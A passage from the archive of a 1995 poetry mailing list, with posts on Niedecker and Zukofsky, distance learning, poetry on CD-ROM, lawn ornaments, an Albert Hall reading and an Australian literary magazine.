> *Which means, in turn, that how a poet _chooses_ to _use_ punctuation can be extremely interesting. I know I have poems that (as we say) demand prose-style punctuation and those that refuse it absolutely, and a lot that want some nonce compromise. Part of the compromise, of course, comes about by admitting among the signs of punctuation the line-break, which rather upsets all the other marks who thought they were in charge.*

Perhaps we could take the line-break as a (the?) defining characteristic of a poem (at least a "poetry" poem as opposed to a "prose" poem). I know that when I write prose after writing too much (!) poetry, the margins seem an awfully long way apart. That white space around a poem may be as important as the words.

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

446. Tony Green
Re: Top ten poems
Thu 19 Oct 1995

The great anti-modernist anti-McCahon sentence from letter to Sunday Star Times, NZ:

"As a colourist he was a nobody".

(as for his "anatomy",
"use of light"
" draughtsmanaship " etc ...)

Tony Green,
e-mail: [redacted]

↑ Index

447. Alan Sondheim
Re: distant lesson
Thu 19 Oct 1995

Yes, I've taught on-line at the New School, on an asynchronous applica- tion; I'm also working on synchronous appications with a grad student. It's very difficult. It wouldn't be for teaching poetry, but it is for a number of subjects. I teach the philosophy/psychology of the Net/ "Information Highway" stuff - the advantage is that the course deals directly with current Net conditions/applications/politics/development and the disadvantage is the long hours it takes to write up lectures that would take only minutes to deliver - as well as a certain disconcerting anonymity always present...

Alan

On Thu, 19 Oct 1995, Jordan Davis wrote:

> *Don't ever send a message with the first word : "List",*
>
> *Anybody have any experience in high-speed distance teaching? Either by videoconferencing or mud/moo/other internet? Text-based stuff might be fun, huh? Since it's all writing anyway, and since this kind of writing is _different_ from other kinds of writing--isn't it?--it might be an interesting thing to teach _as a different discipline_. I'd rather not be paranoid/postmanite/luddite about dl. I'd rather see it as a new niche.*
>
> *Jordan*

↑ Index

448. **Robert Drake**
Re: Poetry in Motion (Review)
Thu 19 Oct 1995

lost track of who originally asked about poetry on CD-ROM,
but stumbled across a reference (on her homepage) to Carolyn
Forche's _Country Between Us_ in multimedia cdrom format,
from 110 press, (LA, 1994)... praps, carolyn, you conuld
tell us something about it, or the process of making it?

luigi

↑ Index

449. **ULMER SPRING**
Re: distant lesson
Thu 19 Oct 1995

jordan, liked your post on distant lesson: 'since it's all writing anyway, and since this kind of writing is _different_...it might be an interesting thing to teach _as a different discipline_. I'd rather not be paranoid/postmanite/luddite about dl. I'd rather see it as a new niche.' -jordan writes... i very much agree, seeing as how for the last two years i have learnt more on line, than i have in a classroom. intense personal correspondance with both a writer and an artist has opened my writing and engaged me in a way of learning that is both call and response. i am enrolled at cooper union, and dl is not there, but one professor agreed to oversee my hypertext/collaborative writing/art work with Katie Yates and Regan King. If someone had not been open minded enough to support my need to write online as a practice, I don't think I would be in school. -spring ulmer

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450. **Tony Green**
Re: Distant Lover
Thu 19 Oct 1995

Aldon's phrase "study with" is the one that rings true, for the situation of teaching and is just where the issue with "distance learning" is joined. The implication I value is that students and teachers approach texts (and/or images) together, to see what they can make of them. "Study under" in contrast implies subjection to authority of a kind that "distance learning" usually relies on.

Tony Green,
e-mail: [redacted]

↑ Index

451. Chris Stroffolino
Re: Niedecker and Zukowski
Thu 19 Oct 1995

I like the conflation of Zuk and Buk! Thanks, dodie.
I mean "thanks dodie"

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452. Tom Beard
Re: distant lesson
Thu 19 Oct 1995

> *Anybody have any experience in high-speed distance teaching? Either by videoconferencing or mud/moo/other internet? Text-based stuff might be fun, huh? Since it's all writing anyway, and since this kind of writing is _different_ from other kinds of writing--isn't it?--it might be an interesting thing to teach _as a different discipline_. I'd rather not be paranoid/postmanite/luddite about dl. I'd rather see it as a new niche.*

I've been involved in distance learning, but in a field totally unrelated to poetry. The learners for whom I'm responsible cannot take time off work to attend workshops or lectures, so I've had to rely on computer-based learning that they can use in the workplace. One hypertext module that I developed (I used HTML primarily because it's cheap) for local use is apparently used regularly by Environment Canada for their training, since I linked the module to my web pages.

I think the emphasis here is on _learning_ rather than _teaching_. Hypertext and hypermedia work best when you have highly motivated learners _exploring_ a field of interconnected knowledge, rather than reluctant learners who have to be led through a course one step at a time. They are also sometimes the only choice, when the learners are too far away or too busy to attend traditional f2f lectures.

I've found this list and the EPC extremely valuable for learning about current American poetry, and the Internet may be an ideal tool for this kind of distance learning. I have the beginnings of an archive on NZ poetry on my web pages - I wish I had the time and knowledge to make it more comprehensive. If every time that one heard mention of a poet's name one could go and read some of his or her poems on the web, together with hypertext links to essays and bibliographies ... oh, how that would break down the "tyranny of distance" that comes from living in a country where none of the bookshops have even heard of Zukofsky or Olson!

Anyway, as far as online writing courses goes, I know that Rob Kendall has run online courses on writing hypertext fiction, and I'm sure there are a lot more. I

can see great potential in using small listserv groups for semi-formal tutorials - the tutor/facilitator sends out a group of poems to the participants, who then discuss them on the list. Or, with better technology, a linking of web pages with real-time Internet Relay Chat links - although one would run into problems with time zones there.

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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453. Chris Scheil
Re: a glorious failure
Thu 19 Oct 1995

Another example of the eclectic lawn-ornament regionalism movement: in Northern Michigan, we take special pride in our chain-sawed log mushroom sculptures (of morels, mainly--a local delicacy & object of numerous mycological folktales).

CS

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454. Ken Edwards
Albert Hall
Thu 19 Oct 1995

Thanks, Cris, for your view from the other side of the performer/audience divide. Remember I was a mile away in the gods in the first half so couldn't always see too well, and tho the sound was basically good the famed Albert Hall reverb got in the way of the semantics sometimes. I enjoyed your/Sianed's performance, and indeed most of the evening. Sorry about the xmas tree misconception... good one.

love, Ken

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455. **Jordan Davis**
(none)
Thu 19 Oct 1995

Anagram fans:

http://infobahn.com:80/pages/anagram.html

Have fun
Jordan

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456. **Mark Scroggins**
Re: Niedecker and Zukowski
Thu 19 Oct 1995

Yeah, Chris, I get that Zuk/Buk thing all the time--having dinner with a prominent harvard Engdept person, he says to me, "you're working on zukofsky? I just got back from Germany, and he's the most popular American poet there..." Of course he meant Chas., not Louis.

Dodie: the lowdown on the Zukofsky/Niedecker affair, such as is known of it, is outlined in Glenna Breslin, "Lorine Niedecker: Composing a Life," in _Revealing Lives: Gender in Autobiography and Biography_, ed. Bell and Yalom (Albany: SUNY Press, 1990). hard to assess what's true and false. The major sources of information on this are in large part people who have bones to pick with Zukofsky, it seems to me. Far more interesting are the Niedecker letters edited by Jenny Penberthy (Cambridge UP, 1993), which include almost nothing from the years when the two were (one supposes) lovers.

What's clear is that Celia Zukofsky (born Thaew) was probably no richer than Zukofsky himself. According to Penberthy, Z and LN had reached a "platonic resolution" to their affair--ie they were just "good friends"--by 1936. Zukofsky married in 1938, and Niedecker was a close friend to the family thru the end of her life.

Mark Scroggins

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457. **Ryan Knighton**
Cabri?
Thu 19 Oct 1995

If Louis Cabri is still out there/here, could you forward
me Mark Nakada's email address? Roy Miki told me you
should have it. Or anyone who knows Mark out here/there.

Thanks,
Ryan Knighton
[redacted]

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458. Dodie Bellamy
Re: a spoonful of sugar
Fri 20 Oct 1995

Tom,

Your points are well taken. I think my original spoonful of sugar comment was too flippant, and I apologize for that. It's just that I'm feeling a bit jaded and discouraged in terms of reaching a broader audience. I have laced my work with so much "sugar" (sex, pop culture, horror, humor, narrative even) that it could throw a weak reader into diabetic shock. Yet, when I've sent my work to presses whose books are geared to reach a wider audience--some of which have published Kathy Acker and some of the poets on this list--my work has been received as basically unmarketable gibberish. (Dalkey Archives is a notable exception.) Friends of mine have taught my work to undergraduates, who had no trouble understanding it--so what does this say about people who control the publishing of prose?

If you can find a wider audience for your work, more power to you.

Personally, I like austere white wines, which makes me feel like a traitor to my home state of California. Those big fruity Chardonnays--yuck.

Dodie

↑ Index

459. Dodie Bellamy
Re: Niedecker and Zukowski
Fri 20 Oct 1995

Mark,

Thank you for your thoughtful response concerning N&Z. The person who took me to visit her home last Friday did tell me that Niedecker stayed friends with Zukowski, taking a special interest in his son.

My guide was really into telling one heart-wrenching story about her after another, and I totally sucumbed to his mini-series version of her life. Things like how all her decisions were based on her writing, how when her eyesight was going bad she quit her job proof-reading and washed floors for a living--in order to save her eyes for writing. Is this story true? I haven't the foggiest

idea. I stood there beside that sad little shack, facing that shallow but dramatic river that threatened to eat up all the land, looked at the poorness of the lives that the people there lead. Then my guide would talk about the glamor of New York that Zukowski offered her. And I wanted with all my heart for her to have had that glamor. But could those poems of hers have been written in an urban world?

Dodie

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460. **Dodie Bellamy**
Re: Geese and 'trolls'
Fri 20 Oct 1995

All these "silly" lawn ornaments bearing the weight of all these other cultural phenomena, remind me of Steven Shaviro's discussion of Night of the Living Dead in his book The Cinematic Body. Unfortunately, I don't have the book here in Indiana, but I do have a passage from it I twisted and collaged into the Letters of Mina Harker. I used it to talk about Vampire's Secret Ice Pops. But, I'll substitute "lawn geese" for "ice pops"so you can see what I'm talking about.

"These lawn geese are wildly discontinuous, flamboyantly antinaturalistic, and nonsensically grotesque. Yet the more ridiculously excessive and self-consciously artificial they are, the more literal is their visceral impact. They can't be kept at a distance, for they can't be referred to anything beyond themselves. Their simulations are radically immediate: they no longer pretend to stand in for, or to represent, a previously existing real."

I like the way symbolic tropes have been ripped from their context and stuck on a goose, or a gnome.

Dodie Bellamy

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461. **Dodie Bellamy**
Zuk, Buk, and Cuke
Fri 20 Oct 1995

Chris Stroffolino wrote:

> *I like the conflation of Zuk and Buk! Thanks, dodie.*
> *I mean "thanks dodie"*

Chris,

I stand corrected and shamed, with a big red Z emblazoned across my chest.

Yes, I'm horrible at typing and spelling. Often "w"s are pronounced as "v"s--so I gave it my old college try. Actually, I never read Zuk in college--though I did on my own in high school. But I've never ever read Buk.

You've unearthed my biggest weakness in posing as an intellectual--I know a zillion times more about female writers than I do about male ones. And I'm sure that that's a mere spoonful compared to the other great minds on this list.

You're such a clever young man.

Dodie

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462. Steve Carll
jesse taylor-york
Fri 20 Oct 1995

I was very sad to recently learn of the death of one of the poetry community's most promising voices, Jesse Taylor-York, of a heart attack, in her apartment in San Francisco. She was in her early thirties. I urge everyone to check out the excerpt from her novel _The Cult of Her_ (I'm not sure if it was finished) that appeared in, I believe it was the Summer '93 issue of _Zzyzyva_.

having turned my words to the dead on accident I
conjure a haunted feeling lost within a dimness
heavied with ghosts empty of senses not seeing me
if I want anything in this strange country I must
fashion fingertips dipped in blood bring the dead a
haunted feeling of another place before this place
drunk on memories and overcome with reunion they
practically tell me exactly what I want to hear

--Jesse Taylor-York

↑ Index

463. Aldon L. Nielsen
Re: dissin dat
Fri 20 Oct 1995

I don't know a gnome from a troll, perhaps because there were neither gardens nor bridges (and precious few brothers to feed to such) in the neighborhood where I was hatched. Did, though, once make use of an audio bridge. I once sent a French envelope via e-mail, but that's not really the kind of share-ware we want to encourage.

I think of Lorine every time I heqr that old blues song about sleeping with your head in the kitchen and your "feets out in the hall."

Gotta dash -- best to Emily and all.

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464. **Wystan Curnow**
Re: the audience
Fri 20 Oct 1995

---

dear tom, re. your listener who hadn't read C, but had been told to come by a lecturer, and the Pavement reviewer who actually does know the poetry well but gave you the impression he did not...these were i think my other subject. I wasn't concerned to make a distinction between active and passive readers but to point to members of the audience most broadly conceived who have not read, heard, the work (yet, ever) at all. i.e. there is a 'readership' of those who have received the work at one or more removes. Once it is with them it is most fully in circulation. When information, poems included, enters the bloodstream it get broken down, it combines with other information willynilly and comes out holus bolus, gets written into new messages, echoed in shifting vocabularies and accents of whole populations, gets confused with expressions of love, the develop,ment of new product lines and the continued viability of political platforms. None of this can be discerned by counting heads at readings or understanding why salesmen snarl at those who demand books by Louis Zukovsky. wystan

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465. **R I Caddel**
Niedecker/Zukofsky
Fri 20 Oct 1995

Dodie, picking up on possible name-varients, is Lorine Niedecker's name still mis-spelled on her grave, or have the local enthusiasts fixed it? When I visited (about this time of year ten years ago) it was NEIDECKER and yes, I too met the gravedigger, soused in his own beer at the little bar down at the point. The gremlins do get to that name from time to time - when we published "Harpsichord & Salt Fish", we proofread like blazes - and still ended up with NEIDECKER on the bloody title page... Sometimes keyboards, pens and chisels are all too light.

The No.1Fan - that would be Karl Gartung? I too was taken by, etc etc. The river was in flood, a flock of grackles wheeled around us, and a local guide said, "Lorine n Al used to call that garage "University of Texas", never could figure why..." And reminisced about Al falling in the river and soaking his paycheck

etc... So much for the oral tradition. But it's good to see the place - I like to horrify both Romantics and Objectivists by pointing out how similar the enviroment of Rock River / Lake Koshkonong is to the Peterborough fens in Clare's day.

As to the LN/LZ affair, I follow Mark's reading of it (and direction to Penberthy's ed. of the letters) - would only add that, as I see it, it was never on to expect LN to shift to New York, or LZ to shift (other than visit) to Lake Koshkonong, or either to shift to another place etc etc.

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

466. **Mark Scroggins**
Re: Niedecker and Zukofsky
Fri 20 Oct 1995

Dodie:

My knowledge of the particulars of Niedecker's life is embarassingly shaky, but it _is_ hard to imagine her writing those poems in New York (just as one can only wonder what Zukofsky would have written if he, like Leslie Fiedler, were exiled to Missoula).

In case there are some date-fascists out there, yes, I got the year of LZ's marriage wrong--1939, not 1938.

Mark

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467. **David Kellogg**
Re: Niedecker and Zukofsky
Fri 20 Oct 1995

On Fri, 20 Oct 1995, Mark Scroggins wrote:

> *In case there are some date-fascists out there, yes, I got the year of LZ's marriage wrong--1939, not 1938.*

Date-fascists?

Cheers,
David
~~~
~~~

to date." ("Universal History and Multiversal History",from _In Defense of the Accidental_, Odo Marquard, Oxford,1991)

Love that "for human beings",
Jordan

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471. ULMER SPRING
Re: Geese and 'trolls'
Fri 20 Oct 1995

---

i guess you didn't grow up with cut-outs of Black men lighting the way.
that's what is on lawns in upstate vermont.
i don't like the way that has been "ripped out of context and stuck on" a lawn.
spring

↑ Index

472. ULMER SPRING
Re: Niedecker and Zukofsky
Fri 20 Oct 1995

---

i thought niedecker either took care of her mother for most of her life at the same time as working "menial" jobs... or?

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473. CAROLYN L. FORCHE-MATTISON
Re: Poetry in Motion (Review)
Fri 20 Oct 1995

This CD-ROM is still under construction, or rather construction has been suspended. 110 Press is Bruce Kijewski and friends, some refugees from Voyager, who would like to produce poets/writers in this format and have the same difficulties as start-up small presses, except that the equipment costs are prohibitive without financial backing. They taped a reading of the whole work in L.A. several years ago, were dissatisfied with the sound, didn't release the disk, and would like to do it again. Several of us remain skeptical of this format, which seems confined to text + talking head in a little box. I just bought PiM2, with its surprizingly interesting list of poets, and will see what they've been able to do as soon as I can find the disk holder. An interesting note: I was able to "obtain" the electronic rights to my published work from (Rupert Murdoch's) HarperCollins simply by asking for them. I now have a letter assignment me those rights, which I thought was very strange, until one considers that these

houses are not yet very sophisticated about these matters (witness the quality of their own elecontronic productions) and, of course, there is no need for them to protect their ownership of poetry which is worth (as has been observed on this list) less than blank paper. I'm much more intrigued by hyper-text than by CD-ROM. The latter doesn't seem to do more with poetry than can be done with print and video. I'd be interested to hear what others think...

--Carolyn

On Thu, 19 Oct 1995, Robert Drake
wrote:

> *lost track of who originally asked about poetry on CD-ROM,*
> *but stumbled across a reference (on her homepage) to Carolyn*
> *Forche's _Country Between Us_ in multimedia cdrom format,*
> *from 110 press, (LA, 1994)... praps, carolyn, you conuld*
> *tell us something about it, or the process of making it?*
>
> *luigi*

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474. **Jordan Davis**
(none)
Fri 20 Oct 1995

Greetings.

http://infobahn.com:80/pages/anagram.html

Enjoy,
Jordan

↑ Index

475. **Peter Zukowski**
Re: Zuk, Buk, and Cuke
Fri 20 Oct 1995

Dodie,

For a while there, I was under the impression that I actually am related to the late, great Zukofsky--I've told so many poets, "Nope, no relation."

Anyway, I'm still inspired.

Thanks for bringing up the subject and the clarification.

Peter Zukowski
[redacted]

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476. **eric pape**
Re: The Art and Poetry worlds
Fri 20 Oct 1995

Bart: You're right when you say we're having a problems with definitions. Before you have poetry, you have to have a Poet, with all its attendent ideologies of individuality and genius. You mention B. (sorry, I generally spell his name about 33 different ways and none of them are correct) and symbolic capital. I suggest that it is not poetry unless it is the means for symbolic capital. All people may have poetry, just as all people have music, or soul, or whatever, but not all people have Brahms. This is not a value. Brahms means darkened halls, tuxedoes, gowns and sophisticated chatter. We need to contextualize what we mean by "west," because in one sense there is no such thing and in another sense there is nothing else for us and us only. Writing it down is all we know at this point. To pretend otherwise is to forget monopoly capitalism, the interiorization of literacy, the deployment of sexuality, etc. etc. To forget administration. Poetry is a specific kind of overdetermined historical writing. There are other things. There are Hallmark cards and song lyrics and spells. But none of them are taught and none of them are sanctioned. Thanks, Eric.

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477. **Mark Roberts**
AWOL: Ulitarra Magazine
Fri 20 Oct 1995

Ulitarra magazine

In 1991, Laura Danckwerts and Donald Westlake, then living on the mid-north coast of New South Wales, entered into a partnership with MichaelSharkey and Tony Bennett of Kardoorair Press in Armidale, to produce the first issue of Ulitarra, which has been published twice a year since 1992.

As it has turned out, the format for that first issue - a mix of ideas from disparate personalities - has now become the recognisable format for the magazine: Les Murray suggested the name*, Michael Wilding the publication of translations, Laura Danckwerts the committment to publishing some Aboriginal writing in every issue, and Donald Westlake the poetry and short story competitions. Robert Adamson became poetry editor with issue No 3, in 1993, and from the next issue, No 8, will been joined by J S Harry.

Four years later, the original partnership having dissolved, and Laura Danckwerts and Donald Westlake having moved back to Sydney,the magazine has a steadily growing list of subscibers and receives assistance from the NSW

Ministry for the Arts and the Literature Board of the Australia Council. Ulitarra is now self-sufficient in the sense that it no longer requires private funding.

Since we started Ulitarra it has grown from 64 to 146 pages per issue, and now that we have gained confidence, we've put fiction where it rightfully belongs, that is in the hands of new writers. In our first issue, 50% of fiction was from high profile writers and 50% from new writers, but in our latest issue, No 7, all the fiction is from writers ranging from those being published for the first time, to those who are just about to be taken on by the big publishers. We still publish well-known writers when we get the chance, of course, but don't actively seek them in the way we did at the beginning. We don't have a preference for genre. We'll publish anything from a vignette, a traditional dramatic-form story, or a piece of realist fiction, to the most outrageously unclassifiable post-modern experiment, providing it has impact. We're always on the lookout for the ideosyncratic, distinctive voice, the unusual narrative position.

Essays are more difficult. Whereas most of our fiction is unsolicited, we have yet to receive an acceptable essay that way. Our essays so far have been commissioned, with subject matter ranging through music and architecture to the lives and works of the foreign writers we publish in translation.

Poetry editor, Robert Adamson, says: all the poetry we publish is of very high quality. I try to select as many poems as possible from those that are sent to us unsolicited, and always include one or more poets who have never been published before in each issue. Once we publish a poet we offer continued support and publication as their careers develop. With each issue I consciously choose poems from the various factions that exists in Australia, without favouring any one, and I encourage experimental writing. I don't fill issues ahead of time, but make my final decisions just prior to publication.

There's a great deal of hard work and certainly no money in editing Ulitarra We seem to be driven by a simple love of literature and a drive towards what we perceive as excellence. Sometimes we despair of the workload, but in every case, the published issue makes it worthwhile. Writers and readers and editors and publishers are all in this thing together, they're symbiotic. But the writer's art is represented by asingle piece of prose or poetry, whereas ours is in the planning of each issue, the juxtaposition of pieces, and finally the palpable volume itself, to be felt, flipped through, read and enjoyed. Each issue is like a newborn child. In every instance, we always feel as we've really achieved something.

Ulitarra runs a poetry competition and a short story competition annually. Winners are published in the magazine and receive a cash prize. The December issue is launched as part of the Sydney Writers' Festival each year, at

Gleebooks in Glebe, together with the presentation of the short story prize to the winner.

*Ulitarra (or Yuludarra) was the first hero ancestor of the Koori tribes of the mid-north coast of New South Wales. He came from the land where the sun rises, shaped the landforms, and fathered and named the tribes. He taught them their languages and particularty the art of storytelling. He now lives somewhere in the sky.

Submissions to Ulitarra are always welcome and should be sent to PO Box 392, French's Forest, NSW, 2086. Single issues cost $8, and a year's subscription $15.

********** Australian Writing OnLine is a publicity and distribution service for Australian writers and publishers. For further information please email us at [redacted], write to AWOL PO Box 333 Concord NSW 2137 Australia, phone (02) [redacted] or fax (02) [redacted].

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478. Chris Stroffolino
Re: Zuk, Buk, and Cuke
Fri 20 Oct 1995

Well Dodie I am only a "clever young man" to the extent you write "unmarketable gibberish" or to the extent that Zukofski lived a "glamourous" life away from India as I sit here lising to Oti and Carla singing "TRAMP"!----- chris s.

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479. cris cheek
Re: Geese and 'trolls'
Fri 20 Oct 1995

Aldon and Dodie, just so that we can discuss this like brew bloods let's define our terms.

Gnomes are dwellers in the earth. Little people, mostly presumed benevolent - EC passports.

Trolls are supernatural, generally more gnarled than gnomes, more unstable in their ambivalent facets and Scandinavian. (You'll doubtless remeber their spectacular intervention in Ibsen's 'Peer Gynt'.

Neither gnomes nor Trolls appear in much poetry that I know of, whereas Fairies are the digitally imaged spirits of syntax.

zurich and codicil
cris

↑ Index

480. cris cheek
Albert Hall
Fri 20 Oct 1995

John brings up the dark underbelly of this event, quite rightly. These were all too present in every aspect at every stage - before, during and after 'the show'.

Were all those who took part co-opted, by association or implication, onto the naive committees of the 1965 platform? (doesn't this ring bells for the Apex of Briefs?)

A fundamental ambivalence towards culture as a capital of identity was being re-negotiated within a capital of Culture. (although I would argue that the challenge was to set up sufficiently thorny complexities of resistance so as to generate nervous laughter - as that which John witnessed - a refusal to engage with the radical signalling a preparation)

Here was one of the last travelling circuses from the fifties and sixties (Time Out apparently previewed it as a safe haven for beards and berets) and here were some of its last 'maverick' fading constellations. I.E. here witness the passing (the packagaing or 'pasting') of a bygone time, bygone agenda and bygone aspirations with which we all became complicit. There, one more backwater navigated and mapped. The Children of the E-Volition (The Return of the Reforgotten). A strange collection of curios from beyond the pale. An exercise in museology.

Difference was supressed in favour of active celebration of diversity - big political mirror balls - but hybridity was introduced through some of the work and that residue provides the most positive and resonant strategy from this event. Now I feel that's the energy that could be built on. But was anyone paying much attention? The audience (yes John you're absolutely right on its insistence to be an audience) found it hard to resist the impulse to live out nostalgia for the fantasy most had already missed out on - when McCartney was introduced the Albert Hall itself almost screamed a teenage scream.

The political illusion of spectatorial Time travel is indeed become more possible - and its allure scares the pith from me,

peace, love and puppet
cris

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481. **kathryne lindberg**
Re: The Art and Poetry worlds
Fri 20 Oct 1995

I don't quite understand the construction, "before you have poetry you have to have a poet." It seems that,whether one wants to think on Marx or on Neitzsche or on neither, the subject or the historical individual is, at least in some senses both epistemologically and ontologically and certainly etho-aesthetically an effect rather than the cause of something as complex as language as poetry or the act of making something called poetry. Besides POET, as opposed to poetaster or more recent flames from taste wars, is an overwrought or highly crafted epithet. No? just a random question or so.

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482. **Charles Smith**
Re: Poetry in Motion (Review)
Fri 20 Oct 1995

Carolyn writes: "They taped a reading of the whole work in L.A. several years ago, were dissatisfied with the sound, didn't release the disk, and would like to do it again. Several of us remain skeptical of this format, which seems confined to text + talking head in a little box. I just bought PiM2, with its surprizingly interesting list of poets, and will see what they've been able to do as soon as I can find the disk holder."

The sound on the first disk wasn't so great either, at least not on the copy I heard/saw. The friend who bought it wound up sending it back for just that reason. Picture quality (was it Loss who mentioned this?) was also not so good. Anyone know if they used the film or video for the CD? The CD was fun to play w/ for one evening, but lacked the fluidity & rhythmic punch of the film as I recall it.

I think Carolyn's right that the technological form is basically limited. SF MOMA has similar CD's available, where one can view pictures & hear interviews, which is even more limited. It gives you nothing mmore than a book can, & the reproductions' quality is worse. At least w/ poetry, you hear the reader's voice & pacing & performance style. Wish I could check out the Little Mag, but I don't know anyone w/ an IBM CD-ROM. all best, Charles

↑ Index

483. **Charles Smith**
Re: LN & LZ
Fri 20 Oct 1995

Just read today Dodie's description of Lorine's home w/ much appreciation. I'm one of those bi-coastal types who's never been to the mid-west.

Dodie asks: " But could those poems of hers have been written in an urban world?" Perhaps not w/ the place-specific content of her work she's so often remembered by. The importance of Jenny Penberthy's scholarship has been to demonstrate LN's commitment to avant-garde writing practices beginning at an early (pre-Zukofsky) period of her life & continuing thruout. As important as I believe Niedecker's work is to an innovative poetics of place (& of the noun), Jenny has shown that Niedecker contributed to a whole range of innovative practices which she equally deserves to be recognized for. Witness how well the selection in Messerli's anthology stands up to current practice. Much of Niedecker's material came out of her reading & letters which don't depend on living in rural WI. LN definitly had a cosmopolitan sense of herself.

I believe at this point there's no debate as to an affair between Niedecker & Zukofsky, & that she terminated a pregnancy (twins I heard). I've heard from Cid Corman & Carl Rakosi that Zukofsky "passed her off" to his friend Jerry Reisman, & that yes, the fact she wasn't Jewish was a factor in the non-continuance of their relationship. Are either of these "true"?-I don't know. Celia was by no means rich, but apparently did have a small amount of $ to bring to the marriage-an amount that was significant at that time.

as to:
"Niedecker stayed friends
with Zukowski, taking a special interest in his son."
&
"Niedecker was a close
friend to the family thru the end of her life."

There's an obvious psychological reading of her interest in the young Paul Zukofsky, & it was an interest Celia apparently didn't always appreciate. Though Niedecker remained devoted to him, Zukofsky did turn from her, as he did from most of his friends during the 60's. Penberthy notes his refusal to write an introduction for her collected, _T & G_, and his lack of contribution to the festschrift Jonathan Williams put together, _Epitaphs For Lorine_. Not to demonize LZ-his late-life bitterness is all too poignant, but he seems to have been so poisoned by it as to be incapable of maintaining relationships outside the family. There's a sense that her correspondence with Corman in the 60s compensated for the fading relationship w/ LZ.

Anyway, the good news for LN readers is that a batch of papers escaped the great conflagration (Al Millen's posthumous burning of her papers at her request) which contain notes used in the Lake Superior sequence. Jenny Penberthy is currently working on them. Something to look forward to! There's also some fascinating research material LN compiled on the Grand Canyon. Unclear as to whether it was dropped from the sequence (perhaps an early conception of 'the mineral'?), or intended for an other poem altogether.

charles

↑ Index

484. **Steve Carll**

Re: Albert Hall

Fri 20 Oct 1995

---

chris cheek wrote:

> *Moorcock's on but I can't hear him properly. Aidan Dun's guitar tinkles away and momentarily I think of Ali Farka Toure, then Donovan as his voice comes in (he was most distant of the performers for me, gets reviewed as Rimbaud like, or some such, in The Independent newspaper - what's Rimbaud like mean?)*

I don't know, but thanks for the rundown. AND the less pejorative use of the term "Donovan."

Steve

↑ Index

485. **Dodie Bellamy**

anagram

Sat 21 Oct 1995

Jordan Davis wrote: http://infobahn.com:80/pages/anagram.html

I got an anagram program for my Mac by doing a search for "anagram" on Anarchie and downloading it. I was able to sucessfully e-mail a copy to Bob Harrison, who works on a Mac at his office.

Kevin and I put in the names of our cats, "BLANCHE AND STANLEY," and the first anagram that came up was "CHANNELED BY SATAN." We turned off the computer.

I also gave a copy to a friend in San Francisco, who is using it for divination.

Dodie Bellamy

↑ Index

486. Dodie Bellamy
Re: Zuk, Buk, and Cuke
Sat 21 Oct 1995

Now that I'm back in Milwaukee I have access to all the Zukofsky (I'll never forget how to spell that name) any girl could want.

This past year I wrote an article for a free weekly on a religious cult. One of the techniques members of the cult use is called The Golden-Tongued Wisdom. The basis of this is that spirit speaks to us in strange ways. So, to use The Golden-Tongued Wisdom, what you do is that you form a question in your mind on which you'd like some guidance--and then the answer will come to you by something you will hear in a passing conversation on the street, or in the lyrics of a song on the radio, in a street sign, etc. You can also open a book with your question in mind, and the first thing you come upon in the book will be spirit's reply.

So, thinking about all this discussion of Zuk, Buk, and Niedecker, I asked for some sort of summary as I opened Zukofsky's _Complete Short Poetry_. This is what I saw:

Sculptures
    in the shadow
of round
    wall--

Primitive
    monumental
nameless
    as the carver

Dodie Bellamy

↑ Index

487. Dodie Bellamy
Re: Niedecker/Zukofsky
Sat 21 Oct 1995

Richard,

Yes, LN's name is still spelled Neidecker on the tombstone, which she shares with her mother and father.

Did you go to the truckstop nearby that has the giant pastries? They have cream puffs there as big as your head. Well, almost.

Dodie

↑ Index

488. **Ron Silliman**
Re: Niedecker and Zukofsky
Sat 21 Oct 1995

>My knowledge of the particulars of Niedecker's life is embarassingly
>shaky, but it _is_ hard to imagine her writing those poems in New York
>(just as one can only wonder what Zukofsky would have written if he,
like Leslie Fiedler, were exiled to Missoula).

Missoula is a lovely town, not unlike Boulder.

↑ Index

489. **Ron Silliman**
Respelling LZ
Sat 21 Oct 1995

"Zukofski"....

Well, people have been complaining about the spelling of Niedecker, but there have been 4 separate spellings of Zukofsky on this list in the past 3 days, and two versions of Ginsberg.

↑ Index

490. **Charles Alexander**
Re: LN & LZ
Sat 21 Oct 1995

Charles Smith comments, beginning with a quote from Dodie's post:

" But could those poems of hers have been written in an urban world?" Perhaps not w/ the place-specific content of her work she's so often remembered by. The importance of Jenny Penberthy's scholarship has been to demonstrate LN's commitment to avant-garde writing practices beginning at an early (pre-Zukofsky) period of her life & continuing thruout. As important as I believe Niedecker's work is to an innovative poetics of place (& of the noun), Jenny has shown that Niedecker contributed to a whole range of innovative practices which she equally deserves to be recognized for. Witness how well the selection in Messerli's anthology stands up to current practice. Much of Niedecker's material came out of her reading & letters which don't depend on living in rural WI. LN definitly had a cosmopolitan sense of herself.

I'd be interested in other's take on this notion of cosmopolitan/midwestern (Smith earlier confesses to his own bi-coastal never-been-to-the-midwest

nature. My own take on Niedecker, while acknowledging her reading and correspondence, would not be to say her sense of herself, and her subsequent poetics, depended on a cosmopolitan nature, rather that perhaps literary innovation, current practice, avant-garde poetics, etc. -- have far less to do, of necessity, with the urban, than is often presumed by many. I have long contended that one could be as avant-garde in central Kansas, Oklahoma, Nebraska, Wisconsin -- as anywhere. Particularly in today's connected electronic world, but also in Niedecker's day.

charles

↑ Index

491. **Mark Scroggins**
Re: Niedecker and Zukofsky
Sat 21 Oct 1995

> Missoula is a lovely town, not unlike Boulder.
>
Oh yes indeed, don't get me wrong, love those picturesque western cities--but LZ in Missoula? or Boulder? I read him more & more as inextricably entwined with NY.

Mark

↑ Index

492. **Charles Alexander**
Re: Niedecker and Zukofsky
Sat 21 Oct 1995

> *My knowledge of the particulars of Niedecker's life is embarassingly shaky, but it _is_ hard to imagine her writing those poems in New York (just as one can only wonder what Zukofsky would have written if he, like Leslie Fiedler, were exiled to Missoula).*
>
